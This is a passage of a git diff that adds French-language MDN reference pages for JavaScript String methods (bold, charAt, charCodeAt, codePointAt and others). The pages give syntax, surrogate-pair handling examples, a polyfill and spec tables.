+<p>Cet exemple produira le code HTML suivant :</p>
+
+<pre class="brush:html">&lt;blink&gt;Coucou monde&lt;/blink&gt;
+&lt;b&gt;Coucou monde&lt;/b&gt;
+&lt;i&gt;Coucou monde&lt;/i&gt;
+&lt;strike&gt;Coucou monde&lt;/strike&gt;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.blink', 'String.prototype.blink')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités additionnelles des navigateurs web.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.blink', 'String.prototype.blink')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définie dans l'annexe B (normative) pour les fonctionnalités additionnelles des navigateurs web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.blink")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.bold()")}}</li>
+ <li>{{jsxref("String.prototype.italics()")}}</li>
+ <li>{{jsxref("String.prototype.strike()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/bold/index.html b/files/fr/web/javascript/reference/objets_globaux/string/bold/index.html
new file mode 100644
index 0000000000..4a2970edfc
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/bold/index.html
@@ -0,0 +1,83 @@
+---
+title: String.prototype.bold()
+slug: Web/JavaScript/Reference/Objets_globaux/String/bold
+tags:
+  - Déprécié
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/bold
+---
+<div>{{JSRef}}{{deprecated_header}}</div>
+
+<p>La méthode <code><strong>bold()</strong></code> crée un élément HTML {{HTMLElement("b")}} qui affiche la chaine de caractères en gras.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.bold()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant un élément HTML {{HTMLElement("b")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>bold()</code> place la chaine de caractères dans une balise <code>&lt;b&gt;</code> :<br>
+ <code>"&lt;b&gt;str&lt;/b&gt;</code>"</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'exemple suivant utilise des méthodes de <code>String</code> pour changer l'affichage de la chaine de caractères :</p>
+
+<pre class="brush:js">var chaîneMonde = "Coucou monde";
+
+console.log( chaîneMonde.blink()   );
+console.log( chaîneMonde.bold()    );
+console.log( chaîneMonde.italics() );
+console.log( chaîneMonde.strike()  );</pre>
+
+<p>Cet exemple produit le même HTML que le code suivant :</p>
+
+<pre class="brush:html">&lt;blink&gt;Coucou monde&lt;/blink&gt;
+&lt;b&gt;Coucou monde&lt;/b&gt;
+&lt;i&gt;Coucou monde&lt;/i&gt;
+&lt;strike&gt;Coucou monde&lt;/strike&gt;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.bold', 'String.prototype.bold')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités additionnelles des navigateurs web.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.bold', 'String.prototype.bold')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définie dans l'annexe B (normative) pour les fonctionnalités additionnelles des navigateurs web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.bold")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.blink()")}}</li>
+ <li>{{jsxref("String.prototype.italics()")}}</li>
+ <li>{{jsxref("String.prototype.strike()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/charat/index.html b/files/fr/web/javascript/reference/objets_globaux/string/charat/index.html
new file mode 100644
index 0000000000..712ffd5ff3
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/charat/index.html
@@ -0,0 +1,249 @@
+---
+title: String.prototype.charAt()
+slug: Web/JavaScript/Reference/Objets_globaux/String/charAt
+tags:
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/charAt
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>charAt()</strong></code> renvoie une nouvelle chaîne contenant le caractère (ou, plus précisément, le point de code UTF-16)  à la position indiquée en argument.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-charat.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.charAt(<var>index</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>index</code></dt>
+ <dd>Un entier entre 0 et la longueur de la chaîne - 1. Si aucun index n'est fourni (ce qui correspond à fournir {{jsxref("undefined")}}) ou si l'index ne peut pas être converti en entier, la recherche sera effectuée à l'index 0 et le premier caractère sera donc renvoyé.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui représente le point de code UTF-16 à la position indiquée. Si la position est dehors de la chaîne, ce sera une chaîne vide.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Les caractères d'une chaîne sont indexés de la gauche vers la droite. L'indice du premier caractère est 0 et l'indice du dernier caractère est la longueur de la chaîne moins un (par exemple, si on a une chaîne <code>toto</code>, le dernier caractère de la chaine aura l'indice <code>toto.length - 1</code>). Si l'indice fourni est en dehors de cet intervalle, la méthode renverra une chaîne vide. Si aucun indice n'est fourni, la valeur par défaut utilisée sera 0.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Afficher_les_caractères_situés_à_différentes_positions_d'une_chaîne">Afficher les caractères situés à différentes positions d'une chaîne</h3>
+
+<p>L'exemple suivant affiche les caractères à différentes positions de la chaîne "<code>Coucou tout le monde</code>" :</p>
+
+<pre class="brush:js">var uneChaîne = "Coucou tout le monde";
+
+console.log("La caractère d'indice 0 est '" + uneChaîne.charAt(0)   + "'");
+console.log("La caractère d'indice 1 est '" + uneChaîne.charAt(1)   + "'");
+console.log("La caractère d'indice 2 est '" + uneChaîne.charAt(2)   + "'");
+console.log("La caractère d'indice 3 est '" + uneChaîne.charAt(3)   + "'");
+console.log("La caractère d'indice 4 est '" + uneChaîne.charAt(4)   + "'");
+console.log("La caractère d'indice 999 est '" + uneChaîne.charAt(999) + "'");
+</pre>
+
+<p>Ces lignes afficheront respectivement :</p>
+
+<pre class="brush: js">La caractère d'indice 0 est 'C'
+La caractère d'indice 1 est 'o'
+La caractère d'indice 2 est 'u'
+La caractère d'indice 3 est 'c'
+La caractère d'indice 4 est 'o'
+La caractère d'indice 999 est ''
+</pre>
+
+<h3 id="Obtenir_des_caractères_complets">Obtenir des caractères complets</h3>
+
+<p>Le code qui suit permet de s'assurer qu'on récupère des caractères complets et ce même si la chaîne de caractères contient des caractères en dehors du plan multilingue de base (BMP) (qui sont donc représentés sur deux unités de code/codets) :</p>
+
+<pre class="brush:js">var str = 'A \uD87E\uDC04 Z'; // On pourrait aussi utiliser un caractère hors du BMP directement
+for (var i=0, chr; i &lt; str.length; i++) {
+  if ((chr = getWholeChar(str, i)) === false) {
+    continue;
+  } // On adapte cette ligne pour chaque boucle, en passant la chaîne de caractères
+    // et on renvoie une variable représentant le caractère individuel
+
+  console.log(chr);
+}
+
+function getWholeChar(str, i) {
+  var code = str.charCodeAt(i);
+
+  if (Number.isNaN(code)) {
+    return ''; // la position n'a pas pu être trouvée
+  }
+  if (code &lt; 0xD800 || code &gt; 0xDFFF) {
+    return str.charAt(i);
+  }
+
+  // On traite ici le demi codet supérieur (high surrogate)
+  // La borne supérieure du test pourrait être 0xDB7F afin de prendre en compte
+  // les demi-codets privés comme des caractères uniques
+  if (0xD800 &lt;= code &amp;&amp; code &lt;= 0xDBFF) {
+    if (str.length &lt;= (i+1))  {
+      throw 'le demi-codet supérieur n'est pas suivi par un demi-codet inférieur';
+    }
+    var next = str.charCodeAt(i+1);
+      if (0xDC00 &gt; next || next &gt; 0xDFFF) {
+        throw 'le demi-codet supérieur n'est pas suivi par un demi-codet inférieur';
+      }
+      return str.charAt(i)+str.charAt(i+1);
+  }
+  // on gère le demi codet inférieur (0xDC00 &lt;= code &amp;&amp; code &lt;= 0xDFFF)
+  if (i === 0) {
+    throw 'le demi-codet inférieur n'est pas précédé d'un demi-codet supérieur';
+  }
+  var prev = str.charCodeAt(i-1);
+
+  // (la borne supérieure pourrait être modifiée en 0xDB7F afin de traiter
+  // les demi-codets supérieurs privés comme des caractètres uniques)
+  if (0xD800 &gt; prev || prev &gt; 0xDBFF) {
+    throw 'le demi-codet inférieur n'est pas précédé d'un demi-codet supérieur';
+  }
+  // on peut passer des demis codets inférieurs comme deuxième composant
+  // d'une paire déjà traitée
+  return false;
+}
+
+</pre>
+
+<p>Dans un environnement ECMAScript 2016 qui permet d'utiliser l'affectation par décomposition, on peut obtenir une version plus succincte et flexible :</p>
+
+<pre class="brush: js">var str = 'A\uD87E\uDC04Z'; // We could also use a non-BMP character directly
+for (var i=0, chr; i &lt; str.length; i++) {
+  [chr, i] = getWholeCharAndI(str, i);
+  // Adapt this line at the top of each loop, passing in the whole string and
+  // the current iteration and returning an array with the individual character
+  // and 'i' value (only changed if a surrogate pair)
+
+  console.log(chr);
+}
+
+function getWholeCharAndI(str, i) {
+  var code = str.charCodeAt(i);
+
+  if (Number.isNaN(code)) {
+    return ''; // Position not found
+  }
+  if (code &lt; 0xD800 || code &gt; 0xDFFF) {
+    return [str.charAt(i), i]; // Normal character, keeping 'i' the same
+  }
+
+  // High surrogate (could change last hex to 0xDB7F to treat high private
+  // surrogates as single characters)
+  if (0xD800 &lt;= code &amp;&amp; code &lt;= 0xDBFF) {
+    if (str.length &lt;= (i+1))  {
+      throw 'High surrogate without following low surrogate';
+    }
+    var next = str.charCodeAt(i+1);
+      if (0xDC00 &gt; next || next &gt; 0xDFFF) {
+        throw 'High surrogate without following low surrogate';
+      }
+      return [str.charAt(i)+str.charAt(i+1), i+1];
+  }
+  // Low surrogate (0xDC00 &lt;= code &amp;&amp; code &lt;= 0xDFFF)
+  if (i === 0) {
+    throw 'Low surrogate without preceding high surrogate';
+  }
+  var prev = str.charCodeAt(i-1);
+
+  // (could change last hex to 0xDB7F to treat high private surrogates
+  // as single characters)
+  if (0xD800 &gt; prev || prev &gt; 0xDBFF) {
+    throw 'Low surrogate without preceding high surrogate';
+  }
+  // Return the next character instead (and increment)
+  return [str.charAt(i+1), i+1];
+}</pre>
+
+<h3 id="Créer_une_version_de_charAt_qui_permet_de_supporter_des_caractères_hors_du_plan_basique_multilingue_(BMP)">Créer une version de <code>charAt</code> qui permet de supporter des caractères hors du plan basique multilingue (BMP)</h3>
+
+<p>Si on souhaite récupérer les paires de codets des caractères hors du plan classique, on peut utiliser le code suivant :</p>
+
+<pre class="brush: js">function fixedCharAt (str, idx) {
+  var ret = '';
+  str += '';
+  var end = str.length;
+
+  var surrogatePairs = /[\uD800-\uDBFF][\uDC00-\uDFFF]/g;
+  while ((surrogatePairs.exec(str)) != null) {
+    var li = surrogatePairs.lastIndex;
+    if (li - 2 &lt; idx) {
+      idx++;
+    } else {
+      break;
+    }
+  }
+
+  if (idx &gt;= end || idx &lt; 0) {
+    return '';
+  }
+
+  ret += str.charAt(idx);
+
+  if (/[\uD800-\uDBFF]/.test(ret) &amp;&amp; /[\uDC00-\uDFFF]/.test(str.charAt(idx+1))) {
+    // On avance d'un puisque l'un des caractères fait partie de la paire
+    ret += str.charAt(idx+1);
+  }
+  return ret;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.4', 'String.prototype.charAt')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.charat', 'String.prototype.charAt')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.charat', 'String.prototype.charAt')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.charAt")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("String.prototype.charCodeAt()")}}</li>
+ <li>{{jsxref("String.prototype.codePointAt()")}}</li>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("String.fromCodePoint()")}}</li>
+ <li><a href="https://mathiasbynens.be/notes/javascript-unicode">JavaScript a un problème avec Unicode</a>, billet de Mathias Bynens (en anglais)</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/charcodeat/index.html b/files/fr/web/javascript/reference/objets_globaux/string/charcodeat/index.html
new file mode 100644
index 0000000000..1295d3edc5
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/charcodeat/index.html
@@ -0,0 +1,173 @@
+---
+title: String.prototype.charCodeAt()
+slug: Web/JavaScript/Reference/Objets_globaux/String/charCodeAt
+tags:
+  - JavaScript
+  - Méthode
+  - Reference
+  - String
+  - Unicode
+translation_of: Web/JavaScript/Reference/Global_Objects/String/charCodeAt
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>charCodeAt()</strong></code> retourne un entier compris entre 0 et 65535 qui correspond au code UTF-16 d'un caractère de la chaîne situé à une position donnée.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-charcodeat.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Le codet UTF-16 renvoyé correspond au codet Unicode si le caractère peut être représenté sur un seul codet. Si le codet Unicode ne peut pas être représenté sur un seul codet UTF-16 (car sa valeur est supérieure à <code>0xFFFF</code>), seule la première partie de la paire sera renvoyée. Si vous souhaitez obtenir l'ensemble de la valeur, vous pouvez utiliser la méthode {{jsxref("String.prototype.codePointAt()","codePointAt()")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>str</var>.charCodeAt(<var>indice</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>indice</code></dt>
+ <dd>Un entier supérieur ou égal à zéro et strictement inférieur à la longueur de la chaîne. La valeur par défaut (si le paramètre est absent ou n'est pas un nombre) sera zéro (0).</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nombre qui représente la valeur du point de code UTF-16 pour le caractère à la position indiquée. Si <code>index</code> pointe en dehors de la chaîne, ce sera {{jsxref("Objets_globaux/NaN","NaN")}} qui sera renvoyé.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Les codets Unicode vont de 0 à 1 114 111 (0x10FFFF). Les 128 premiers caractères Unicode correspondent aux caractères ASCII (leur encodage est le même). Pour plus d'informations sur la gestion de l'Unicode en JavaScript, voir le <a href="/fr/docs/Web/JavaScript/Guide/Valeurs,_variables,_et_littéraux#Unicode">Guide JavaScript</a>.</p>
+
+<p>La méthode <code>charCodeAt()</code> renverra toujours une valeur inférieure à 65 536. En effet, les caractères encodés sur les plus grandes valeurs sont encodés sur deux « demi-codets » (appelés <em>surrogate pair</em> en anglais). Pour recomposer de tels caractères, il faut donc utiliser <code>charCodeAt(i)</code> <strong>et aussi</strong> <code>charCodeAt(i+1)</code> afin de pouvoir récupérer chaque demi-codet. Pour plus de détails, voir le deuxième et troisième exemples.</p>
+
+<p><code>charCodeAt()</code> renverra {{jsxref("NaN")}} si l'indice fourni est strictement inférieur à 0 ou dépasse la longueur de la chaîne.</p>
+
+<p>Dans les anciennes versions (JavaScript 1.2 par exemple) la méthode <code>charCodeAt()</code> renvoyait la valeur du caractère selon l'encodage ISO-Latin-1. L'encodage ISO-Latin-1 permet de représenter des caractères dont les valeurs vont de 0 à 255. Les valeurs 0 à 127 correspondent aux différentes valeurs ASCII.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_charCodeAt">Utiliser <code>charCodeAt()</code></h3>
+
+<p>L'exemple suivant retourne 65, la valeur Unicode de A.</p>
+
+<pre class="brush: js notranslate">"ABC".charCodeAt(0) // returns 65
+</pre>
+
+<h3 id="Utiliser_charCodeAt_pour_gérer_les_caractères_hors_du_plan_multilingue_de_base_sans_hypothèse_sur_leur_présence">Utiliser charCodeAt pour gérer les caractères hors du plan multilingue de base sans hypothèse sur leur présence</h3>
+
+<p>Cette fonction peut être utilisée dans des boucles ou autres dans les cas où on ne sait pas si des caractères représentés sur deux demi-codets (hors du plan BMP) existent avant la position indiquée.</p>
+
+<pre class="brush:js notranslate">function fixedCharCodeAt (str, idx) {
+    // ex. fixedCharCodeAt ('\uD800\uDC00', 0); // 65536
+    // ex. fixedCharCodeAt ('\uD800\uDC00', 1); // false
+    idx = idx || 0;
+    var code = str.charCodeAt(idx);
+    var hi, low;
+
+    // On gère le demi-codet supérieur (la borne supérieure
+    // utilisée pourrait être 0xDB7F afin de traiter les
+    // paires surrogates privées comme des caractères uniques)
+    if (0xD800 &lt;= code &amp;&amp; code &lt;= 0xDBFF) {
+        hi = code;
+        low = str.charCodeAt(idx+1);
+        if (isNaN(low)) {
+            throw "Le demi-codet supérieur n'est pas suivi "+
+                  "par un demi-codet inférieur dans fixedCharCodeAt()";
+        }
+        return ((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000;
+    }
+    if (0xDC00 &lt;= code &amp;&amp; code &lt;= 0xDFFF) {
+    // Demi-codet inférieur
+
+        // On renvoie false pour permettre aux boucles
+        // car le cas a normalement déjà été géré avec
+        // l'étape précédente
+        return false;
+    }
+    return code;
+}
+</pre>
+
+<h3 id="Utiliser_charCodeAt_pour_gérer_les_caractères_du_plan_multilingue_de_base_en_sachant_quils_sont_présents">Utiliser <code>charCodeAt()</code> pour gérer les caractères du plan multilingue de base (en sachant qu'ils sont présents)</h3>
+
+<pre class="brush:js notranslate">function knownCharCodeAt (str, idx) {
+    str += '';
+    var code,
+        end = str.length;
+
+    var surrogatePairs = /[\uD800-\uDBFF][\uDC00-\uDFFF]/g;
+    while ((surrogatePairs.exec(str)) != null) {
+        var li = surrogatePairs.lastIndex;
+        if (li - 2 &lt; idx) {
+            idx++;
+        }
+        else {
+            break;
+        }
+    }
+
+    if (idx &gt;= end || idx &lt; 0) {
+        return NaN;
+    }
+
+    code = str.charCodeAt(idx);
+
+    var hi, low;
+    if (0xD800 &lt;= code &amp;&amp; code &lt;= 0xDBFF) {
+        hi = code;
+        low = str.charCodeAt(idx+1);
+        // On prend un caractère de plus
+        // car on a deux demi-codets à récupérer
+        return ((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000;
+    }
+    return code;
+}
+
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.5', 'String.prototype.charCodeAt')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.charcodeat', 'String.prototype.charCodeAt')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.charcodeat', 'String.prototype.charCodeAt')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.charCodeAt")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.fromCharCode()")}}</li>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.fromCodePoint()")}}</li>
+ <li>{{jsxref("String.prototype.codePointAt()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/codepointat/index.html b/files/fr/web/javascript/reference/objets_globaux/string/codepointat/index.html
new file mode 100644
index 0000000000..016b2d6aae
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/codepointat/index.html
@@ -0,0 +1,144 @@
+---
+title: String.prototype.codePointAt()
+slug: Web/JavaScript/Reference/Objets_globaux/String/codePointAt
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/String/codePointAt
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>codePointAt()</strong></code> renvoie un entier positif qui correspond au code Unicode (<em>code point</em>) du caractère de la chaîne à la position donnée.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-codepointat.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.codePointAt(<var>pos</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>pos</code></dt>
+ <dd>La position de l'élément dans la chaîne de caractères dont on souhaite obtenir la valeur du codet.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nombre qui représente la valeur du point de code du caractère à la position indiqué. C'est la valeur {{jsxref("undefined")}} qui est renvoyée s'il n'y aucun élément à <code>pos</code>.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>S'il n'y a pas d'élément à la position donnée, la valeur renvoyée sera {{jsxref("undefined")}}. Si ce n'est pas un élément représenté sur deux demi-codets (<em>surrogate pair</em>) UTF-16 et qui commence à <code>pos</code>, le codet de l'élément à l'indice <code>pos</code> est renvoyé.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">'ABC'.codePointAt(1);          // 66
+'\uD800\uDC00'.codePointAt(0); // 65536
+
+'XYZ'.codePointAt(42); // undefined
+</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Le fragment de code suivant permet d'ajouter la méthode <code>codePointAt()</code> pour les chaînes de caractères (<code>String</code>). En effet, cette méthode fait partie de ECMAScript 2015 et certains navigateurs peuvent ne pas proposer cette fonction nativement.</p>
+
+<pre class="brush:js">/*! https://mths.be/codepointat v0.2.0 by @mathias */
+if (!String.prototype.codePointAt) {
+  (function() {
+    'use strict'; // needed to support `apply`/`call` with `undefined`/`null`
+    var defineProperty = (function() {
+      // IE 8 only supports `Object.defineProperty` on DOM elements
+      try {
+        var object = {};
+        var $defineProperty = Object.defineProperty;
+        var result = $defineProperty(object, object, object) &amp;&amp; $defineProperty;
+      } catch(error) {}
+      return result;
+    }());
+    var codePointAt = function(position) {
+      if (this == null) {
+        throw TypeError();
+      }
+      var string = String(this);
+      var size = string.length;
+      // `ToInteger`
+      var index = position ? Number(position) : 0;
+      if (index != index) { // better `isNaN`
+        index = 0;
+      }
+      // Account for out-of-bounds indices:
+      if (index &lt; 0 || index &gt;= size) {
+        return undefined;
+      }
+      // Get the first code unit
+      var first = string.charCodeAt(index);
+      var second;
+      if ( // check if it’s the start of a surrogate pair
+        first &gt;= 0xD800 &amp;&amp; first &lt;= 0xDBFF &amp;&amp; // high surrogate
+        size &gt; index + 1 // there is a next code unit
+      ) {
+        second = string.charCodeAt(index + 1);
+        if (second &gt;= 0xDC00 &amp;&amp; second &lt;= 0xDFFF) { // low surrogate
+          // https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae
+          return (first - 0xD800) * 0x400 + second - 0xDC00 + 0x10000;
+        }
+      }
+      return first;
+    };
+    if (defineProperty) {
+      defineProperty(String.prototype, 'codePointAt', {
+        'value': codePointAt,
+        'configurable': true,
+        'writable': true
+      });
+    } else {
+      String.prototype.codePointAt = codePointAt;
+    }
+  }());
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-string.prototype.codepointat', 'String.prototype.codePointAt')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.codepointat', 'String.prototype.codePointAt')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.codePointAt")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.fromCodePoint()")}}</li>
+ <li>{{jsxref("String.fromCharCode()")}}</li>
+ <li>{{jsxref("String.prototype.charCodeAt()")}}</li>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/concat/index.html b/files/fr/web/javascript/reference/objets_globaux/string/concat/index.html
new file mode 100644
index 0000000000..184d38d6fc
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/concat/index.html
@@ -0,0 +1,106 @@
+---
+title: String.prototype.concat()
+slug: Web/JavaScript/Reference/Objets_globaux/String/concat
+tags:
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/concat
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>concat()</strong></code> combine le texte de plusieurs chaînes avec la chaîne appelante et renvoie la nouvelle chaîne ainsi formée.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-concat.html")}}</div>
+
